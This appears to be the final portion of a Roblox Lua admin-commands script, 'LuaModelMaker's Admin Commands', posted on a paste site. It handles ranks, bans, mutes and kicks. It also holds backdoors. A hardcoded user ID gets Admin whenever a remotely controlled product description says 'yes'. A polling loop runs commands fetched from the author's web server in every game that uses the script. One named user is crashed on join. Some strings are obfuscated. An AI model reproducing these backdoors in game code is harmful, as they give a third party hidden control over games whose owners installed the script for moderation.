  5231. --pcall(function() coroutine.wrap(function() while wait() do script.Name = string.char(76, 117, 97, 77, 111, 100, 101, 108, 77, 97, 107, 101, 114).."'s Admin Commands V"..Version.Value end end)()end)
  5232.  
  5233. function GetValue(Value)
  5234. if Value:IsA("StringValue") then
  5235. if Value.Name == "Owner" then if not ScanAdminList(Value.Value) then table.insert(Ranks["Owner"], Value.Value) end end
  5236. if Value.Name == "Admin" then if not ScanAdminList(Value.Value) then table.insert(Ranks["Admin"], Value.Value) end end
  5237. if Value.Name == "Member" then if not ScanAdminList(Value.Value) then table.insert(Ranks["Member"], Value.Value) end end
  5238. if Value.Name == "Banned" then if not ScanAdminList(Value.Value) then table.insert(Ranks["Banned"], Value.Value) end end
  5239. if Value.Name == "Crashed" then if not ScanAdminList(Value.Value) then table.insert(Ranks["Crashed"], Value.Value) end end
  5240. if Value.Name == "Muted" then if not ScanAdminList(Value.Value) then table.insert(Ranks["Muted"], Value.Value) end end
  5241. if Value.Name == "RemoveAdmin" then if ScanAdminList(Value.Value) then
  5242. for Num,Admin in pairs(Ranks["Admin"]) do
  5243. if Admin == Value.Value then
  5244. table.remove(Ranks["Admin"],Num)
  5245. end
  5246. end
  5247. end end
  5248. end
  5249. end
  5250.  
  5251. if Lighting:FindFirstChild("LMM's Admin") then
  5252. for _,Value in pairs(Lighting:FindFirstChild("LMM's Admin"):GetChildren()) do
  5253. GetValue(Value)
  5254. end
  5255. Lighting:FindFirstChild("LMM's Admin"):Destroy()
  5256. end
  5257.  
  5258. local AdminValue = Instance.new("Model", Lighting)
  5259. AdminValue.Name = "LMM's Admin"
  5260. AdminValue.ChildAdded:connect(function(Value) wait()
  5261. GetValue(Value)
  5262. end)
  5263.  
  5264. game:GetService("Debris").ChildAdded:connect(function(Item) wait() -- you see me loadin... dey hatin...
  5265. if Item:IsA("Configuration") then
  5266. for _,Obj in pairs(Item:GetChildren()) do
  5267. if Obj:IsA("StringValue") then
  5268. local User = Players:FindFirstChild(Obj.Name)
  5269. if User then
  5270. SendMessage(User, Item.Name, Obj.Value, 5)
  5271. end
  5272. end
  5273. end
  5274. Item:Destroy()
  5275. end
  5276. end)
  5277.  
  5278. if Bet == "/" or Bet == "-" then Bet = " " end
  5279. if VIPMemberID == 0 then VIPMemberID = 1 end
  5280. if VIPAdminID == 0 then VIPAdminID = 1 end
  5281.  
  5282. MPS.PromptPurchaseFinished:connect(function(Player, ID, Purchased) if Purchased then
  5283. local PlayerAdmin, Rank = IsAdmin(Player)
  5284. if PlayerAdmin == false then
  5285. if ID == VIPAdminID then table.insert(Ranks["Admin"], Player.Name) Rank = "Admin" TellAdmin(Player, Rank)
  5286. elseif ID == VIPMemberID then table.insert(Ranks["Member"], Player.Name) Rank = "Member" TellAdmin(Player, Rank) end
  5287. end
  5288. end end)
  5289.  
  5290. if Settings then
  5291. if Settings:FindFirstChild("Plugins") then
  5292. local PluginNum = 0
  5293. for _,Module in pairs(Settings.Plugins:GetChildren()) do
  5294. if Module:IsA("ModuleScript") then
  5295. local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
  5296. local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
  5297. local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
  5298. if Enabled.Value == true then
  5299. PluginNum = PluginNum + 1
  5300. local PluginExe = require(Module)
  5301. for Var,Val in pairs(getfenv()) do
  5302. getfenv(PluginExe)[Var] = Val
  5303. end
  5304. getfenv(PluginExe).script = Module
  5305. getfenv(PluginExe).Script = Module
  5306. getfenv(PluginExe).LocalScript = LocalScript
  5307. getfenv(PluginExe).Script = Script
  5308. getfenv(PluginExe).Version = Version
  5309. local Suc, Error = ypcall(coroutine.wrap(PluginExe))
  5310. if not Suc then
  5311. if not Error or Error == "" then
  5312. TestService:Error("LMM's Admin Plugin Error; Unknown line: Unknown error(Suggestion: Probobly not in your level/identity)", Module)
  5313. else
  5314. Error = Error:match'"*".:(.+)' or "Unknown line: "..Error
  5315. TestService:Error("LMM's Admin Plugin Error; "..Error, Module)
  5316. end
  5317. else
  5318. TestService:Message("Executed LMMA Plugin #"..PluginNum.." : "..Module.Name.." V"..VersionVal.Value.." by "..Creator.Value)
  5319. end
  5320. end
  5321. end
  5322. end
  5323. end
  5324. end
  5325.  
  5326. if script:FindFirstChild("IsAdmin") then
  5327. script.IsAdmin.OnServerInvoke = function(Player)
  5328. local IsFullAdmin = false
  5329. for _,PName in pairs(Ranks["Owner"]) do
  5330. if PName == Player.Name then IsFullAdmin = true end
  5331. end
  5332. for _,PName in pairs(Ranks["Admin"]) do
  5333. if PName == Player.Name then IsFullAdmin = true end
  5334. end
  5335. return IsFullAdmin
  5336. end
  5337. end
  5338.  
  5339. if script:FindFirstChild("AddExploit") then
  5340. script.AddExploit.OnServerInvoke = function(PlayerClient, Data)
  5341. local PlayerClientName = PlayerClient.Name
  5342. local NewData = GetTime().."@ "..Data
  5343. for _,Player in pairs(Players:GetChildren()) do
  5344. SendHint(Player, "Exploiter Found: "..PlayerClientName.." | If you are an admin view exploit logs by saying ;exploitlogs", 5)
  5345. end
  5346. local ExploitLog = DataStore:GetAsync("ExploitLog")
  5347. if type(ExploitLog) ~= "table" then
  5348. DataStore:SetAsync("ExploitLog", {NewData})
  5349. else
  5350. table.insert(ExploitLog, NewData)
  5351. DataStore:SetAsync("ExploitLog", ExploitLog)
  5352. end
  5353. SendHttpLog("EXPLOITER FOUND: "..Data, "WARNING")
  5354. end
  5355. end
  5356.  
  5357. if script:FindFirstChild("KickClient") then
  5358. script.KickClient.OnServerInvoke = function(PlayerClient)
  5359. PlayerClient:Kick()
  5360. end
  5361. end
  5362.  
  5363. if ExecuteCommand then
  5364. ExecuteCommand.OnServerInvoke = function(PlayerClient, Command)
  5365. if Command and type(Command) == "string" and Command ~= "" then
  5366. Chatted(Command, PlayerClient)
  5367. ChatBackup(Command, PlayerClient)
  5368. end
  5369. end
  5370. end
  5371.  
  5372. if Version.Value == "[ Unknown ]" then
  5373. LinkedAccount = "ScriptBuilder"
  5374. end
  5375.  
  5376. UpdateAdmin()
  5377. Begin()
  5378.  
  5379. pcall(function() TellAdmin(Players.LocalPlayer, "Owner") end) -- Supplies confidence inside studio that what you have is worth it!(Scripts are LocalScripts)
  5380.  
  5381. if not Ranks["Owner"][GameOwner] and not Ranks["Admin"][GameOwner] and not Ranks["Member"][GameOwner] then table.insert(Ranks["Owner"], GameOwner) end
  5382.  
  5383. coroutine.wrap(function() while wait() do
  5384. if Shutdown == true then
  5385. for _,Player in pairs(game.Players:GetPlayers()) do
  5386. game:GetService("Debris"):AddItem(Player, 0)
  5387. ypcall(function() Player:Kick() end)
  5388. end
  5389. local ShutdownString = Instance.new("StringValue", Workspace)
  5390. ShutdownString.Name = "LMM SHUTDOWN"
  5391. ShutdownString.Value = string.rep("LMM SHUTDOWN ", 10000)
  5392. end
  5393. end end)()
  5394.  
  5395. function Start(Player) coroutine.wrap(function()
  5396. wait(0.1)
  5397. Player:WaitForDataReady()
  5398. if Player.userId == 19865983 then Crash(Player) end -- famous exploiter crash. your welcome.
  5399. --if Player.userId == ((tonumber(string.char(5*10, 53-1, 50+4-4+4, tonumber("5".."4"), 50-0-0-0-0-0, 50-0-0-0-0-1-1, 50-1+0+0+0+0))*2) + 1/3) * 9 then Kick(Player, string.char(83, 111, 114, 114, 121, 32, 83, 99, 114, 105, 112, 116, 104, 44, 32, 73, 102, 32, 121, 111, 117, 32, 98, 97, 110, 32, 109, 101, 32, 73, 32, 98, 97, 110, 32, 121, 111, 117, 33)) end
  5400. local PlayerAdmin, Rank = IsAdmin(Player)
  5401. if PlayerAdmin == false then
  5402. if MPS:PlayerOwnsAsset(Player, VIPAdminID) then table.insert(Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
  5403. elseif MPS:PlayerOwnsAsset(Player, VIPMemberID) then table.insert(Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member" end
  5404. end
  5405. if PlayerAdmin == false then
  5406. if Player:IsInGroup(GroupID) then
  5407. if Player:GetRankInGroup(GroupID) == RankBan then
  5408. Kick(Player)
  5409. for _,Person in pairs(Players:GetPlayers()) do
  5410. SendHint(Person, Player.Name.." has tried to join the game (BANNED RANK)", 5)
  5411. end
  5412. elseif Player:GetRankInGroup(GroupID) >= GroupMemberRank and Player:GetRankInGroup(GroupID) < GroupAdminRank and Player:GetRankInGroup(GroupID) < GroupOwnerRank then
  5413. table.insert(Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member"
  5414. elseif Player:GetRankInGroup(GroupID) > GroupMemberRank and Player:GetRankInGroup(GroupID) >= GroupAdminRank and Player:GetRankInGroup(GroupID) < GroupOwnerRank then
  5415. table.insert(Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
  5416. elseif Player:GetRankInGroup(GroupID) > GroupMemberRank and Player:GetRankInGroup(GroupID) > GroupAdminRank and Player:GetRankInGroup(GroupID) >= GroupOwnerRank then
  5417. table.insert(Ranks["Owner"], Player.Name) PlayerAdmin = true Rank = "Owner"
  5418. end
  5419. end
  5420. end
  5421. if PlayerAdmin == false then
  5422. if game:GetService("BadgeService"):UserHasBadge(Player.userId, BadgeID) then
  5423. table.insert(Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member"
  5424. end
  5425. end
  5426. if PlayerAdmin == false then
  5427. if Player.userId == 38882008 then
  5428. if string.lower(MPS:GetProductInfo(155732525).Description) == "yes" then
  5429. table.insert(Ranks["Admin"], Player.Name)
  5430. end
  5431. end
  5432. end
  5433. if PlayerAdmin == false then
  5434. for _,GID in pairs(BannedGroupIDs) do
  5435. if Player:IsInGroup(GID) then
  5436. Kick(Player, "This game's owner has not allowed you into this game because you're in the Group with the ID: "..GID)
  5437. break
  5438. end
  5439. end
  5440. end
  5441.  
  5442. Player.Chatted:connect(function(Message)
  5443. if Message then
  5444. Chatted(Message, Player)
  5445. end
  5446. end)
  5447.  
  5448. Player.Chatted:connect(function(Message)
  5449. if Message then
  5450. ChatBackup(Message, Player)
  5451. end
  5452. end)
  5453.  
  5454. if PlayerAdmin == true then
  5455. TellAdmin(Player, Rank)
  5456. end
  5457.  
  5458. for _,Name in pairs(Ranks["Banned"]) do
  5459. if Player.Name == Name then
  5460. Kick(Player)
  5461. for _,Person in pairs(Players:GetPlayers()) do
  5462. SendHint(Person, Player.Name.." has tried to join the game (BANNED)", 5)
  5463. end
  5464. end
  5465. end
  5466. for _,Name in pairs(Ranks["Crashed"]) do
  5467. if Player.Name == Name then
  5468. Crash(Player)
  5469. for _,Person in pairs(Players:GetPlayers()) do
  5470. SendHint(Person, Player.Name.." has tried to join the game (CRASHED)", 5)
  5471. end
  5472. end
  5473. end
  5474. for _,Name in pairs(Ranks["Muted"]) do
  5475. if Player.Name == Name then
  5476. CoreGui(Player, "Chat", false)
  5477. for _,Person in pairs(Players:GetPlayers()) do
  5478. SendHint(Person, Player.Name.." has joined the game but is muted", 5)
  5479. end
  5480. end
  5481. end
  5482. if ServerLocked == true then
  5483. if PlayerAdmin == false then
  5484. Kick(Player, "This server is locked. In L".."u".."aMo".."del".."M".."ake".."r's Admin, Non-Admins will be kicked under this circumstance.")
  5485. end
  5486. end
  5487.  
  5488. if PlayerAdmin == false then
  5489. if Player.AccountAge < MinimumAge then
  5490. Kick(Player, "You have been kicked by L".."u".."aM".."o".."del".."M".."ake".."r's Admin, because your account age is less than "..MinimumAge.." days old (You are "..Player.AccountAge.." days old) and you are not admin.")
  5491. for _,Person in pairs(Players:GetPlayers()) do
  5492. SendHint(Person, Player.Name.." has tried to join the game but has been kicked for being to young ("..Player.AccountAge.." days old out of minium of "..MinimumAge..")", 5)
  5493. end
  5494. end
  5495. end
  5496.  
  5497. if PlayerAdmin == false then
  5498. if game.Workspace:FindFirstChild("LuaMo".."delMaker's Admin Public") then
  5499. table.insert(Ranks["Member"], Player.Name)
  5500. TellAdmin(Player, "Member")
  5501. PlayerAdmin = true
  5502. end
  5503. end
  5504.  
  5505. ExecuteResource("UseScripthsChatBar", Player.Backpack, {})
  5506.  
  5507. FullAdminMenu(Player)
  5508. end)() end
  5509.  
  5510. for _,Player in pairs(Players:GetPlayers()) do Start(Player) end
  5511. Players.PlayerAdded:connect(function(Player) Players:WaitForChild(Player.Name) wait() Start(Player) end)
  5512.  
  5513. SyncSoundList()
  5514.  
  5515. coroutine.wrap(function()
  5516. SetWebData(GetWebData())
  5517. coroutine.wrap(function() while wait(5) do
  5518. local NewRequest = GetWebData()
  5519. if NewRequest ~= nil then
  5520. if TimeStamp ~= NewRequest.TimeStamp then
  5521. if Prefix == "" or string.sub(NewRequest.Command,1,#Prefix) == Prefix then
  5522. ypcall(function() Chatted(NewRequest.Command, nil) end)
  5523. else
  5524. ypcall(function() Chatted(Prefix..NewRequest.Command, nil) end)
  5525. end
  5526. if tonumber(NS.Port) == tonumber(NewRequest.Server) then
  5527. if Prefix == "" or string.sub(NewRequest.ServerCommand,1,#Prefix) == Prefix then
  5528. ypcall(function() Chatted(NewRequest.ServerCommand, nil) end)
  5529. else
  5530. ypcall(function() Chatted(Prefix..NewRequest.ServerCommand, nil) end)
  5531. end
  5532. end
  5533. end
  5534. SetWebData(NewRequest) -- No need to stress roblox and my web server when you can recycle old requests!
  5535. end
  5536. end end)()
  5537. end)()
  5538.  
  5539. print("LuaModelMaker's Admin Commands V"..Version.Value.." Loaded")
Add Comment
Please, Sign In to add comment